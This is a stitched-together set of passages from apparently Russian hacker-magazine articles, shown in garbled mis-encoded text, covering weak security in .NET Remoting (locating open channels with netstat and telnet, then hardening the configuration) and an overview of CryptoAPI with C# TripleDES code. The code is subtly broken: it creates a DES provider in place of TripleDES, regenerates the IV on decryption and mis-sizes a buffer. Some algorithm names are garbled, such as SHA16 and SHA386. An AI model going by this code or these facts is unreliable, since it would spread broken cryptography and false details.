ìà .NET ñ êàæäûì äíåì
ðàçâèâàåòñÿ âñå áûñò-
ðåå. Ðåàëèçîâàííûå
ìåòîäû çàùèòû äî-
âîëüíî èíòåðåñíû. Îä-
íàêî ïîñëå ìíîãî÷èñ-
ëåííûõ èññëåäîâàíèé
(â òîì ÷èñëå è ìîèõ),
âûÿñíÿëîñü, ÷òî áåçî-
ïàñíîñòü ïëàòôîðìû
â öåëîì î÷åíü íèçêàÿ.

Ñèñòåìà áåçîïàñ-
íîñòè .NET íàïîìèíàåò
ñòðîéêó, ïîòîìó ÷òî íå-

êîòîðûå ìåñòà ñäåëà-
íû áåçóïðå÷íî, à íåêî-
òîðûå ðàçâàëåíû 
äî áåçîáðàçèÿ. Âîçü-
ìåì, íàïðèìåð, ñèñòå-
ìó âåðèôèêàöèè êîäà:
çäåñü âñå èäåàëüíî 
è íà ñåãîäíÿøíèé äåíü
íåò ñïîñîáà âíåäðèòü
êîä íàïðÿìóþ (âåðèôè-
êàòîð ïðîâåðÿåò âñå
î÷åíü òùàòåëüíî).
À âîò ÷òî êàñàåòñÿ .NET
Remoting — çäåñü âñå
î÷åíü øàòêî, â âåðñèè
íèæå 2.0 áåçîïàñíîñòè
êàíàëîâ, êàê òàêîâîé,

íåò âîîáùå, à ñåé÷àñ
ïîÿâèëàñü òîëüêî àó-
òåíòèôèêàöèÿ è øèô-
ðîâàíèå, íî àóòåíòè-
ôèêàöèþ îáîéòè î÷åíü
ïðîñòî, è ïîñëå ýòîãî
ñèñòåìà áóäåò âûïîë-
íÿòü ëþáîé ïðèñûëàå-
ìûé êîä, ïîñêîëüêó 
íåò ïðîâåðêè ñîäåðæè-
ìîãî ìåòîäîâ. Ïî ìíî-
ãî÷èñëåííûì îáåùàíè-
ÿì êîìïàíèè Ìàéêðî-
ñîôò óðîâåíü çàùèòû
.NET Framework äîë-
æåí ïðåâçîéòè âñå
îæèäàíèÿ.

ÀÍÄÐÅÉ
ÄÐÎÇÄÎÂ

OFFBIT SECURITY TEAM
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Âîò è âñå, íàäî îòêîìïèëèðîâàòü âñå òðè ïðîåêòà,
ðàññòàâèòü ôàéëû êîíôèãóðàöèè è çàïóñòèòü ñåð-
âåð. Ïîñëå çàïóñêà êëèåíòà â îêíå ñåðâåðà âûâå-
äåòñÿ ñòðîêà, óâåäîìëÿþùàÿ î òîì, ÷òî áóäåò çà-
ïóùåí áëîêíîò, è ñåðâåð çàïóñòèò áëîêíîò, èñ-
ïîëüçóÿ êëàññ èç äðóãîãî äîìåíà ïðèëîæåíèÿ.
Ýêñïåðèìåíò óäàëñÿ. Ïðèøëî âðåìÿ ïîãîâîðèòü
î áåçîïàñíîñòè.

áåçîïàñíîñòü ññèñòåìû. Êîãäà ÷åðåç êàíàëû
ñâÿçûâàþòñÿ ïðîñòûå ïðèëîæåíèÿ, âñå ïðîèñõî-
äèò òàê æå, êàê è â íàøåì ïðèìåðå. Íî åñëè ïîñ-
òàâèòü ïðèëîæåíèÿ íà îñíîâå òåõíîëîãèè .NET
Remoting â áàíê, òî íåâîëüíî âñòàåò âîïðîñ áåçî-
ïàñíîñòè òàêèõ ñîåäèíåíèé, ïîñêîëüêó âòîðã-
íóòüñÿ â êàíàë äîâîëüíî ïðîñòî. Â ïðåäûäóùèõ
âåðñèÿõ .NET Framework'a íå áûëî ïîääåðæêè
ñèñòåìû áåçîïàñíîñòè. Îñîçíàâ òî, ÷òî ïåðåõâà-
òèòü êàíàë áóäåò ïðîñòî, ðàçðàáîò÷èêè âñå æå
ñäåëàëè ïîäîáíóþ ñèñòåìó. Ïîñêîëüêó Remoting
ÿâëÿåòñÿ äîêóìåíòèðîâàííûì òîëüêî íàïîëîâè-
íó, òî âñå óïðàâëåíèå áåçîïàñíîñòüþ ìû áóäåì
ïðîïèñûâàòü â xml-êîíôèãàõ, äëÿ ýòîãî åñòü ïà-
ðàìåòðû protectionLevel, TokenImpersonationLevel
è secure. Ïåðâûé ïàðàìåòð îïèñûâàåò ìåòîäû
øèôðîâàíèÿ äàííûõ, êîòîðûõ ïîêà ÷òî òîëüêî
äâà: øèôðîâàòü è íå øèôðîâàòü:). Âòîðîé ïàðà-
ìåòð óêàçûâàåò íà  ïðèíöèï àóòåíòèôèêàöèè
êëèåíòà. Ïàðàìåòð secure óêàçûâàåò íà âêëþ÷å-
íèå èëè âûêëþ÷åíèå ñèñòåìû áåçîïàñíîñòè â öå-
ëîì. Åñëè ñ÷èòàòü, ÷òî ïðîãðàììèñò íå ïîçàáî-
òèëñÿ î áåçîïàñíîñòè ïðèëîæåíèÿ èëè æå èñïîëü-
çîâàë Visual Studio 2003, òî ñïîñîáû ïåðåõâàòà
äàííûõ î÷åíü ïðîñòû.

ñâåðëèì êêàíàëû. Ñàìûì ïðîñòûì ñïîñîáîì
ïåðåõâàòà äàííûõ áóäåò íåïîñðåäñòâåííîå ïîäê-
ëþ÷åíèå íà êàíàë, íî äëÿ ýòîãî íåîáõîäèìî òî÷íî
çíàòü òèï ïðîòîêîëà è ïîðò. Âåðíåìñÿ ê íàøåìó
ïðèëîæåíèþ è âíîâü çàïóñòèì ñåðâåð. Òåïåðü îòê-
ðîåì ëþáîé áðàóçåð è çàéäåì ïî àäðåñó http://local-
host:5000:/RemoteObjectPort. Â îêíå áðàóçåðà ìû
óâèäèì êîíñîëüíûé âûâîä, òàêîé æå, êàê åñëè áû
ìû çàïóñòèëè ïðîãðàììó áåç ïàðàìåòðîâ. ×óòü
áîëüøå èíôîðìàöèè äàñò íàì âîçìîæíîñòü ñîåäè-
íèòüñÿ ñ http-êàíàëîì ÷åðåç telnet. Òàì ìû óâèäèì
âåðñèþ .NET è âûâîä ñ òåêñòîì î òîì, ÷òî íèêàêèõ
ïàðàìåòðîâ íå áûëî ïåðåäàíî. Òî æå ñàìîå ìû
óâèäèì, åñëè îòêðûòü cmd è â êîíñîëè ââåñòè:

telnet localhost 5001

Ñåðâåð âûïëþíåò íàì ñîîáùåíèå îá îøèáêå —
ïðîòîêîë tcp â êàíàëàõ òàêæå ëåãêî ïåðåõâàòûâà-
åòñÿ! Áîëåå òîãî, ñîåäèíåíèå ïðîõîäèò íå òîëüêî
ñ ëîêàëõîñòà, íî è ñ ëþáîãî êîìïüþòåðà èç ñåòè, è
äàæå èç èíòåðíåòà. À åñëè ïåðåäàòü ïàðàìåòðû
ïðè ïîìîùè ïðîãðàììû, ïîäãîòîâëåííîé õàêåðîì,
òî ñåðâåð ìîæåò âûïîëíèòü ËÞÁÎÉ êîä â ñèñòåìå!
Òàêèå îáñòîÿòåëüñòâà äåëàþò .NET Remoting êðàé-
íå óÿçâèìîé. Îäíàêî âñå ïðîñòî òîëüêî ñ íàøèì
ïðèìåðîì, ïîñêîëüêó â ðåàëüíûõ óñëîâèÿõ õàêåð
íå çíàåò, íà êàêèõ ïîðòàõ íàõîäÿòñÿ êàíàëû è êà-
êèå ïðîòîêîëû åé èñïîëüçóþòñÿ. Îäíàêî óæå ñå-
ãîäíÿ åñòü êàíàëüíûå ñíèôåðû, îòñëåæèâàþùèå
âñå çàïóùåííûå êàíàëû è ïðîòîêîëû, èñïîëüçóþ-
ùèåñÿ .NET Remoting. Ñàìûì èçâåñòíûì è óäîá-
íûì ÿâëÿåòñÿ .NET-ñíèôôåð netstat. Òàêæå åñòü

íåçàâèñèìûé ïðîåêò tcptrace, îáëàäàþùèé ïðàêòè-
÷åñêè òàêèìè æå ôóíêöèÿìè (ýòó ïðîãðàììó òû
íàéäåøü íà êîìïàêò-äèñêå ê æóðíàëó). Äëÿ òîãî
÷òîáû íàéòè âñå ïîñòîÿííûå êàíàëû, íóæíî ïðîñòî
âûïîëíèòü êîìàíäó:

C:\netstat

Äëÿ ïðîñìîòðà òåêóùèõ êàíàëîâ âûïîëíÿåì êîìàíäó:

C:\netstat -a

È ìû óâèäèì êàíàëû íàøåãî ñåðâåðà:

TCP/HTTP sulvlab1:5000

sulvlab1:0 LISTENING

TCP sulvlab1:5001 sulvlab1:0

LISTENING

È òåïåðü, ïåðåõâàòèâ àäðåñà, ïîðòû è ïðîòîêîëû,
ìû ìîæåì îñóùåñòâèòü àòàêó. Åñëè êàíàë çàùè-
ùåí, âñå êàíàëû íàøåãî ñåðâåðà áóäóò âèäíû êàê
TCP. Äëÿ ðåøåíèÿ ýòîé ïðîáëåìû ìîæíî íàïèñàòü
ïðîñòîé áðóòôîðñ, êîòîðûé áóäåò ïîäáèðàòü ïðîòî-
êîë ê êàíàëó. Âîçìîæíî, íåêîòîðûå ñèëüíî îáðàäî-
âàëèñü ãðÿäóùèì äûðêàì â Windows Vist'e. Íî ìû
íå äàäèì â îáèäó çëîáíûì õàêåðàì íàèâíûõ è äîá-
ðûõ ïîëüçîâàòåëåé è èñïîëüçóåì ìåòîäû çàùèòû
êàíàëà, ðåàëèçîâàííûå â .NET Framework 2.0. 

ìîé êêàíàë — ììîÿ êêðåïîñòü. Òàê çàùèòèì æå
íàøå ïðèëîæåíèå îò ïîäîáíûõ àòàê! Äëÿ ýòîãî
íóæíî âïèñàòü â êîíôèãè ïàðó ñòðîê, àêòèâèðîâàâ
áåçîïàñíîñòü, ïîääåðæêó øèôðîâàíèÿ êàíàëà
è àóòåíòèôèêàöèþ ïîëüçîâàòåëÿ. Äëÿ òîãî ÷òîáû
çàáðîíèðîâàòü ñòåíêè êàíàëà, íàì íàäî âûñòàâèòü
îïöèþ protectionLevel â EncryptAndSign, Token-
ImpersonationLevel — â Impersonation, à ÷òîáû àêòè-
âèðîâàòü çàùèòó — îáðàòèòü impersonate â true.
Ïîñëå òàêèõ õèòðûõ ïðåîáðàçîâàíèé íèêòî ñî ñòî-
ðîíû íå ñìîæåò âòîðãíóòüñÿ â êàíàë, åñëè, êîíå÷-
íî, íå ïîääåëàåò èìÿ ïðîãðàììû äëÿ àóòåíòèôèêà-
öèè. Â èòîãå íàø áðîíåáîéíûé êîíôèã áóäåò âûã-
ëÿäåòü ïðèìåðíî òàê: ëèñòèíã1.

the eend. Âîò ìû è ðàçîáðàëèñü ñ òåõíîëîãè-
åé .NET Remoting, è óæå ñåé÷àñ ìîæíî ñäåëàòü âû-
âîä: õîðîøî áû, ÷òîáû ê âûõîäó Windows Vista âñå
ýòè ñèñòåìû íå âûãëÿäåëè êàê ðåøåòî, ïîñêîëüêó
óðîâåíü óÿçâèìîñòåé ïîêà åùå êðèòè÷åñêè âåëèê.
Íåñìîòðÿ íà òî, ÷òî â ìàññû ïóñêàòü òàêóþ ñèñòåìó
åùå íåëüçÿ, ñàì ôàêò ïåðåäà÷è êîäà è îáúåêòîâ ïî
ñåòè çàáàâåí. Âîçìîæíî, â áóäóùåì ñâåðøèòñÿ
åùå îäíà ðåâîëþöèÿ â ïðîãðàììèðîâàíèè, è áóäåò
ñîçäàíà îáùàÿ áàçà äàííûõ ñ êîäîì, à ïðèëîæå-
íèÿ ñî âñåãî ìèðà áóäóò ê íåé îáðàùàòüñÿ. Êñòàòè,
êòî çíàåò, ìîæåò áûòü èìåííî òû ïðè ïîìîùè êëàñ-
ñà IChannel íàïèøåøü ñâîé áðîíåáîéíûé êàíàë
è ïðèäóìàåøü ãåíèàëüíûé àëãîðèòì îáìàíà ñíè-
ôåðîâ è ñîêðûòèÿ åãî â ñèñòåìå?

http://msdn2.microsoft.com/en-uus/library/system.runtime.
remoting.channels.ipc.aspx
ñîâåòóþ ïî÷èòàòü msdn ïðî ipc-êàíàëû
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RC4, RSA, DDS, DES, MD2, MD5, SHA16, SHA32,
SHA128, SHA512, ÃÎÑÒ Ð 34.11-94Å... Î÷åíü ìíî-
ãîå â ñîâðåìåííîì áåçîïàñíîì ïðîãðàììèðîâàíèè
òàê èëè èíà÷å ñâÿçàííî ñ ýòèìè àááðåâèàòóðàìè.
Â íàøå âðåìÿ ïðîáëåìà çàùèòû èíôîðìàöèè è,
ñîîòâåòñòâåííî, êðèïòîãðàôèè ñ êàæäûì äíåì ñòà-
íîâèòñÿ âñå àêòóàëüíåå. Êàê èçâåñòíî, åùå Öåçàðü
øèôðîâàë íåêîòîðûå äîêóìåíòû êðèâîâàòûìè
êðèïòîãðàôè÷åñêèìè àëãîðèòìàìè. 

Â ïðèâû÷íîì æå Win32 ðåàëèçîâàíà ñèñòå-
ìà êðèïòîïðîâàéäåðîâ è ñèñòåìà èíòåðôåéñîâ
ê íèì. Â Windows Vista, ñ îäíîé ñòîðîíû, âñå íå
ñèëüíî èçìåíèëîñü: âñå òàê æå îñòàëñÿ Crypto-
graphic Application Programming Interface, íî ñ äðó-
ãîé ñòîðîíû òåïåðü âñå óïðàâëåíèå êðèïòîïðî-
âàéäåðàìè âåäåòñÿ íà îñíîâå ïëàòôîðìû .NET,
à çíà÷èò, âñå êàðäèíàëüíî èçìåíèëîñü. Ïðèøëî
âðåìÿ ðàçîáðàòüñÿ ñ ñèñòåìîé êðèïòîïðîâàéäå-
ðîâ â Windows Vista.

÷òî ååñòü CCryptoAPI? Ïîäîáíàÿ ñèñòåìà áûëà
ïðèäóìàíà êîìïàíèåé Ìàéêðîñîôò äëÿ òîãî, ÷òîáû
óâåëè÷èòü áåçîïàñíîñòü ïðèëîæåíèé è îïðåäåëåí-
íûì îáðàçîì ñòðóêòóðèðîâàòü êðèïòîãðàôè÷åñêèå
àëãîðèòìû äëÿ óäîáñòâà ñîçäàíèÿ ïðîãðàìì è äè-
íàìè÷åñêèõ áèáëèîòåê. Â Win32 áûëî ðåàëèçîâàíî
äâå âåðñèè CryptoAPI: 1.0 è 2.0. Â ïîñëåäíåé âåðñèè
ïîääåðæèâàëîñü î÷åíü ìíîãî òèïîâ êðèïòîãðàôè-
÷åñêèõ ïðåîáðàçîâàíèé, íà÷èíàÿ îò áàçîâûõ è
ïðîñòûõ è çàêàí÷èâàÿ ñëîæíûìè è áîëåå íîâûìè.

Â ïëàòôîðìå .NET Framework â Common Types
System(CTS) ðåàëèçîâàíû êëàññû äëÿ ðàáîòû ñ
CryptoAPI, áàçîâûì èç êîòîðûõ ÿâëÿåòñÿ êëàññ
System.Security.Cryptography. Â ïîñëåäíåé âåðñèè
.NET Framework (íà ìîìåíò íàïèñàíèÿ ñòàòüè —
3.0) ðåàëèçîâàíû êðèïòîïðîâàéäåðû äëÿ íåñêîëü-
êèõ ñèììåòðè÷íûõ àëãîðèòìîâ — DES, Triple-DES,
RC2, Rijndael, äâóõ àññèìåòðè÷íûõ — DDS, RSA è
àëãîðèòìîâ õýøèðîâàíèÿ — MD5, SHA1, SHA256,
SHA386, SHA512, MACTripleDES, HMACSHA-1. Íà
ñàìîì äåëå, ýòî ëèøü äîêóìåíòèðîâàííûå êðèï-
òîïðîâàéäåðû, â òðåòüåé âåðñèè .NET Framework'a
ðåàëèçîâàíî ÷óòü áîëüøå, ÷åì ñêàçàíî â äîêóìåí-
òàöèè. Êðîìå òîãî, .NET ïîääåðæèâàåò ñèñòåìó
ñåðòèôèêàöèè X.509, î êîòîðîé ìû åùå ïîãîâîðèì.
Äëÿ òîãî ÷òîáû ïîíÿòü âñå ïðèíöèïû è íîâîââåäå-
íèÿ CryptoAPI â Windows Vista, ìû âïëîòíóþ çàé-
ìåìñÿ ðåàëèçàöèåé âñåâîçìîæíûõ êðèïòîãðàôè-
÷åñêèõ ïðåîáðàçîâàíèé. ×òîáû óçíàòü, êàê ðàáîòà-
þò ñèììåòðè÷íûå è àñèììåòðè÷íûå àëãîðèòìû è
ñèñòåìû öèôðîâûõ ïîäïèñåé, ñìîòðè ñõåìû 1, 2 è
3. Äåëî ýòî îáùåèçâåñòíîå, è îñòàíàâëèâàòüñÿ ìû
íà íåì íå áóäåì. Ïðåæäå ÷åì ìû ïðèñòóïèì íåïîñ-
ðåäñòâåííî ê ïðîãðàììèðîâàíèþ, ñïëàíèðóåì, ÷òî
áóäåò óìåòü íàøà ïðîãðàììà.

ðàçáîð ïïîëåòîâ. Äëÿ íà÷àëà áîëåå äåòàëüíî
ðàññìîòðèì ðåàëèçîâàííûå â .NET framework àë-
ãîðèòìû è èõ êðèïòîïðîâàéäåðû. Èç ñèììåòðè÷-
íûõ àëãîðèòìîâ êîìïàíèÿ Ìàéêðîñîôò ðåàëèçîâà-
ëà DES, Triple-DES,Rijndael è RC2. 

DES áûë ïðèäóìàí äîâîëüíî äàâíî, è ïðåäñ-
òàâëÿåò ñîáîé àëãîðèòì øèôðîâàíèÿ ñ èñïîëüçî-
âàíèåì 56-áèòíîãî êëþ÷à. Â íàñòîÿùåå âðåìÿ ñ÷è-
òàåòñÿ íå ñàìûì áåçîïàñíûì èç-çà ñòîëü êîðîòêîé
äëèíû êëþ÷à. Â îòëè÷èå îò íåãî, íåäàâíî ðåàëèçî-
âàííûé Triple-DES çíà÷èòåëüíî íàäåæíåå è áåçî-
ïàñíåå, — äëèíà åãî êëþ÷à ñîñòàâëÿåò 168 áèò. 

ÎÁÇÎÐ CRYPTOAPI Â MS WINDOWS VISTA
ÅÙÅ Â ÄÐÅÂÍÅÌ ÊÈÒÀÅ ÌÎÍÀÕÈ Ó×ÈËÈÑÜ ÄÎÐÈÑÎÂÛÂÀÒÜ ÈÅÐÎÃËÈÔÛ ÒÀÊÈÌ ÎÁÐÀÇÎÌ,
×ÒÎÁÛ ÈÕ ÌÎÃËÈ ÏÎÍÈÌÀÒÜ ÒÎËÜÊÎ ÈÇÁÐÀÍÍÛÅ, ÇÍÀÞÙÈÅ ÌÅÒÎÄ ÐÀÑØÈÔÐÎÂÊÈ.
ÂÎ ÂÐÅÌÅÍÀ ÂÒÎÐÎÉ ÌÈÐÎÂÎÉ ÂÎÉÍÛ Â ÀÍÃËÈÈ ËÓ×ØÈÅ ÓÌÛ ÌÈÐÀ ÊÐÈÏÒÎÀÍÀËÈÒÈÊÈ
(ÁËÅÉ× ËÈ ÏÀÐÊ) ÁÈËÈÑÜ ÇÀ ÒÎ, ×ÒÎÁÛ ÐÀÑØÈÔÐÎÂÀÒÜ ÀËÃÎÐÈÒÌ ÇÍÀÌÅÍÈÒÎÉ
ÌÀØÈÍÛ ENIGMA

Àíäðåé Äðîçäîâ àêà Sulverus 
offbit security team (sulverus@mail.ru)
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Ñèììåòðè÷íûé àëãîðèòì



Ñëåäóþùèì èäåò  çàìûñëîâàòûé è êðèïòîñ-
òîéêèé àëãîðèòì Rijndael, òàêæå íàçûâàåìûé AES,
îí ïîääåðæèâàåò 3 âèäà êëþ÷åé (128, 192 è 256 áèò).
Êñòàòè, ñ òî÷êè çðåíèÿ Ìàéêðîñîôò — îäèí èç ñà-
ìûõ ëó÷øèõ àëãîðèòìîâ, ðåàëèçîâàííûõ â .NET.
Çàâåðøàåò íàøå ïðàçäíè÷íîå ïîñòðîåíèå RC2, äî-
âîëüíî èçâåñòíûé â îïðåäåëåííûõ êðóãàõ àëãîðèòì
ñèììåòðè÷íîãî øèôðîâàíèÿ, äëèíà êëþ÷à êîòîðî-
ãî ìîæåò äîñòèãàòü 2048 áèò. Ïî÷åìó-òî êîìïàíèÿ
Ìàéêðîñîôò íå îòäàëà ïðåäïî÷òåíèå ïîñëåäíåìó
àëãîðèòìó, — ýòî îáúÿñíÿåòñÿ òåì, ÷òî â ñàìîé ïîñ-
ëåäíåé âåðñèè .NET íå ðåàëèçîâàí êðèïòîïðîâàé-
äåð äëÿ àëãîðèòìà RC4. Ïîíÿòèå ñèììåòðè÷íûõ àë-
ãîðèòìîâ ïðåäñòàâëÿåò ñîáîé ñèñòåìó øèôðîâà-
íèÿ äàííûõ, â êîòîðîé èíôîðìàöèÿ çàøèôðîâûâà-
åòñÿ è ðàñøèôðîâûâàåòñÿ îäíèì êëþ÷îì. Ïîäîá-
íûå ñèñòåìû ÿâëÿþòñÿ äîâîëüíî êðèïòîñòîéêèìè,
íî èñïîëüçóþòñÿ â îñíîâíîì ñðåäè îáû÷íûõ ïîëü-
çîâàòåëåé äëÿ îáìåíà èíôîðìàöèåé. Â ñåðüåçíûõ
îðãàíèçàöèÿõ, êàê ïðàâèëî, èñïîëüçóþòñÿ àññèìåò-
ðè÷íûå àëãîðèòìû, ïîñêîëüêó îíè ìåíüøå ïîääà-
þòñÿ âçëîìó è ïåðåáîðó. Â àñèììåòðè÷íûõ ñèñòå-
ìàõ âñå ãîðàçäî áîëåå ñåðüåçíî, ïîòîìó ÷òî ïðè
øèôðîâêå è ðàñøèôðîâêå èíôîðìàöèè èñïîëüçó-
åòñÿ íåñêîëüêî êëþ÷åé. Â òàêîì ñëó÷àå áóäåò ñóùå-
ñòâîâàòü îòêðûòûé è çàêðûòûé êëþ÷è. Ïåðâûì áó-
äåò øèôðîâàòüñÿ ñîîáùåíèå, à âòîðûì — ðàñøèô-
ðîâûâàòüñÿ. Â àññèìåòðè÷íûõ àëãîðèòìàõ âñÿ
ñëîæíîñòü çàêëþ÷àåòñÿ â ïåðåäà÷å êëþ÷åé. Ñìûñë
òàêîãî íàãðîìîæäåíèÿ â òîì, ÷òî ëþáîé ìîæåò ïî-
ëó÷èòü çàøèôðîâàííóþ èíôîðìàöèþ, çàøèôðî-
âàííóþ îòêðûòûì, ò.å. èçâåñòíûì êëþ÷îì, à ðàñ-
øèôðîâàòü åå ñìîæåò òîëüêî îáëàäàòåëü çàêðûòî-
ãî êëþ÷à. Â .NET ðåàëèçîâàíû êðèïòîïðîâàéäåðû
äëÿ àëãîðèòìîâ RSA è DSS. RSA — äîâîëüíî èçâå-
ñòíûé â IT-êðóãàõ àëãîðèòì ñ îòêðûòûì êëþ÷îì,
ñ÷èòàåòñÿ î÷åíü áåçîïàñíûì, à äëèíà êëþ÷åé ìî-
æåò ìåíÿòüñÿ â çàâèñèìîñòè îò âîçìîæíîñòåé è çà-
äà÷ ñèñòåì. DDS — òîæå àëãîðèòì àñèììåòðè÷íî-
ãî øèôðîâàíèÿ, íî âìåñòî îòêðûòîãî êëþ÷à îí èñ-
ïîëüçóåò öèôðîâóþ ïîäïèñü (îá ýòîì ìû ïîãîâî-
ðèì äàëåå), äëèíà êëþ÷à ìîæåò áûòü ëþáîé. 

ïîñòàâü ññåáå ööåëü. Ïåðåéäåì ê ïðîãðàììèðî-
âàíèþ. Íà ïðèìåðå äàííîé ñòàòüè ÿ ïðîäåìîíñòðè-
ðóþ ðàáîòó ñ êðèïòîïðîâàéäåðìè, ðàáîòàþùèìè
ñ îäíèì èç ñàìûõ áåçîïàñíûõ àëãîðèòìîâ øèôðîâà-
íèÿ — RSA, èñïîëüçóåìîì â áàíêîâñêèõ è ïëàòåæíî-
êàðòî÷íûõ ñèñòåìàõ, íàïðèìåð â Web Money. Òàêæå
ìû ðàññìîòðèì îñíîâíûå ïðèíöèïû ðàáîòû ñ ñåðòè-
ôèêàòàìè äàííûõ X.509. È ïîä êîíåö ðàçáåðåìñÿ
ñ õýøèðîâàíèåì è öèôðîâûìè ïîäïèñÿìè. 

Íó ÷òî æå, ïîðà çàïóñêàòü ñòóäèþ, ñîçäàâàòü
íîâûé ïðîåêò è ñðàçó æå âêëþ÷àòü â ñïèñîê ïðîñò-
ðàíñòâ èìåí êëàññ System.Security.Cryptography.
Î ñèììåòðè÷íûõ àëãîðèòìàõ ÿ óæå ðàññêàçûâàë
â îäíîé èç ñòàòüåé (http://offbit.1gb.ru/article/read.php?id=24),
íî âñå ðàâíî íåìíîãî ñêàæó î ðàáîòå ñ àëãîðèò-
ìîì DES, à òî÷íåå — ñ åãî ñîâðåìåííûì àíàëî-
ãîì Triple-DES. Äëÿ íàøèõ èññëåäîâàíèé ìû áó-
äåì èñïîëüçîâàòü ïîäîïûòíîãî êðîëèêà â ðîëè
ñòðîêè: «Xakep — Super Hypper Rulez!».
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Êðèïòîïðîâàéäåðû TripleDES

public class TripleDES

{

public static bool Encrypt(string OpenText, string SafeKey, string EncrText)

{

try

{

DESCryptoServiceProvider TDes = new DESCryptoServiceProvider(); 

//ñîçäàåì ïðîâàéäåð

TDes.Key = ASCIIEncoding.ASCII.GetBytes(SafeKey);

TDes.GenerateIV();       

//ãåíåðèðóåì âåêòîð èíèöèàëèçàöèè

ICryptoTransform encryption = TDes.CreateEncryptor();

//ñîçäàåì øèôðîâàëüùèê

FileStream Fin = new FileStream(OpenText, FileMode.Open, FileAccess.Read);

//ñîçäàåì ôàéëîâûå ïîòîêè

FileStream Fout = new FileStream(EncrText, FileMode.Create, FileAccess.Write);

CryptoStream crypt = new CryptoStream(Fout, encryption, CryptoStreamMode.Write);

byte[] outtext = new byte[Fin.Length - 1];

Fin.Read(outtext, 0, outtext.Length);

crypt.Write(outtext, 0, outtext.Length); 

//øèôðóåì

crypt.Close();

//çàêðûâàåì

Fin.Close();

Fout.Close();

Console.WriteLine("Done");

return true;

}

//äàëåå îáðàáîòêà îøèáîê

}

public static bool Decrypt(string SafeText, string SafeKey, string OpenText)

{

try

{

TripleDESCryptoServiceProvider TDesDec = new TripleDESCryptoServiceProvider();

//ñîçäàåì ïðîâàéäåð

TDesDec.Key = ASCIIEncoding.ASCII.GetBytes(SafeKey);

TDesDec.GenerateIV();

//ãåíåðèðóåì âåêòîð èíèöèàëèçàöèè

FileStream SText = new FileStream(SafeText, FileMode.Open, FileAccess.Read);

ICryptoTransform decrypt = TDesDec.CreateDecryptor();

CryptoStream DecryptionStream = new CryptoStream(SText, decrypt, 

CryptoStreamMode.Read);  

//ñîçäàåì øèôðîâàëüùèê

StreamWriter OpenT = new StreamWriter(OpenText);

OpenT.Write(new StreamReader(DecryptionStream).ReadToEnd()); 

//ðàñøèôðîâûâàåì

OpenT.Flush();

//çàêðûâàåì

OpenT.Close();

Console.WriteLine("Done");

return true;

}

//äàëåå îáðàáîòêà îøèáîê

}

}

(1)



ðàáîòà ññ ñèììåòðè÷íûìè ààëãîðèòìàìè. Òóò
âñå ïðåäåëüíî ïðîñòî, ïîñêîëüêó äàííûå øèôðó-
þòñÿ è ðàñøèôðîâûâàþòñÿ îäíèì è òåì æå êëþ-
÷îì. Äëÿ ðàáîòû ñ àëãîðèòìîì Triple DES íàì ïî-
íàäîáèòñÿ TripleDES Crypto Service Provider — åãî
êðèïòîïðîâàéäåð ïî óìîë÷àíèþ. Ñîçäàåì êîí-
ñîëüíîå ïðèëîæåíèå, ðåãèñòðèðóåì ïðîñòðàíñòâî
èìåí System.Security.Cryptography è ñîçäàåì êëàññ
TripleDES äëÿ ðàáîòû ñ àëãîðèòìîì. Â íàøåì êëàñ-
ñå áóäåò äâå ëîãè÷åñêèå ôóíêöèè public bool
Encrypt() è public bool Decrypt() äëÿ ñîîòâåòñòâóþ-
ùèõ ïðåîáðàçîâàíèé èíôîðìàöèè. Íàïîìíþ, ÷òî
â ñèììåòðè÷íûõ àëãîðèòìàõ èñïîëüçóåòñÿ òîëüêî
ñåêðåòíûé êëþ÷, êîòîðûé ïðèìåíÿåòñÿ äëÿ ïðåîá-
ðàçîâàíèé äàííûõ â îáå ñòîðîíû. Âõîäíûìè äàí-
íûìè â ôóíêöèÿõ áóäóò: íåçàøèôðîâàííûé òåêñò,
êëþ÷ ïðåîáðàçîâàíèé è èìÿ ôàéëà, â êîòîðûé áó-
äåò çàïèñàí øèôðîòåêñò (è, íàîáîðîò, â ôóíêöèè
ðàñøèôðîâêè). Ðàññìîòðèì êîä (ëèñòèíã 1).

Â ôóíêöèè TripleDES.Encrypt() ñîçäàåòñÿ êðèï-
òîïðîâàéäåð äëÿ àëãîðèòìà TripleDES, äàëåå ñîçäà-
åòñÿ êëþ÷ è âåêòîð èíèöèàëèçàöèè àëãîðèòìà, ïî-
òîì, ïðè ïîìîùè îáúåêòà ICryptoTransform, ñîçäàåò-
ñÿ øèôðîâàëüùèê, ïîñëå ýòîãî ïðîãðàììà ÷èòàåò
ôàéë ñ òåêñòîì, êîòîðûé íàäî çàøèôðîâàòü. Ïîñëå
ïðåîáðàçîâàíèÿ áàéòîâ ïðîãðàììà çàïèñûâàåò ðå-
çóëüòàò â ôàéë. Ðàñøèôðîâêà ñîîáùåíèÿ ïðîèñõî-
äèò ïðàêòè÷åñêè òàêèì æå îáðàçîì, òîëüêî ïðîãðàì-
ìà îòêðûâàåò ôàéë ñ ùèôðîòåêñòîì. Çàìå÷ó, ÷òî
äëÿ èñïîëüçîâàíèÿ äðóãîãî ñèììåòðè÷íîãî àëãîðèò-
ìà øèôðîâàíèÿ íóæíî ïîìåíÿòü ïåðâóþ ñòðîêó
â êîäå — òó, ãäå ñîçäàåòñÿ êðèïòîïðîâàéäåð. Ïîñëå
âñåõ ïðåîáðàçîâàíèé íàø ïîäîïûòíûé êðîëèê
(ñòðîêà «Xakep — Super Hypper Rulez!») áóäåò âûã-
ëÿäåòü ñëåäóþùèì îáðàçîì:

ÍÒd¨ùc` ”rÓÐqi ÀUdÌWÃ:`- ̄ ØûØÍÆ. 

Êàê âèäíî, àëãîðèòì íå î÷åíü-òî ñèëüíî óâåëè÷èâà-
åò ðàçìåð èíôîðìàöèè, è ïîäîáðàòü êëþ÷ áóäåò äî-
âîëüíî ïðîñòî. À â àññèìåòðè÷íûõ àëãîðèòìàõ âñå
ãîðàçäî áîëåå êðàñèâî.

rsa ssecurity pprotection. Àëãîðèòì RSA — íà ìîé
âçãëÿä, îäèí èç ñàìûõ óäîáíûõ è áåçîïàñíûõ àëãî-
ðèòìîâ øèôðîâàíèÿ. Ìîè ñëîâà ïîäòâåðæäàåò òîò
ôàêò, ÷òî RSA èñïîëüçóåòñÿ â áàíêîâñêèõ è ïëà-
òåæíî-êàðòî÷íûõ ñèñòåìàõ (Web Money, E-gold èëè
PayPal). Â àñèììåòðè÷íûõ àëãîðèòìàõ êëþ÷ äåëèò-
ñÿ íà îòêðûòóþ è çàêðûòóþ ÷àñòü. Èíôîðìàöèÿ ìî-

æåò øèôðîâàòüñÿ îòêðûòîé ÷àñòüþ, êîòîðàÿ òàêæå
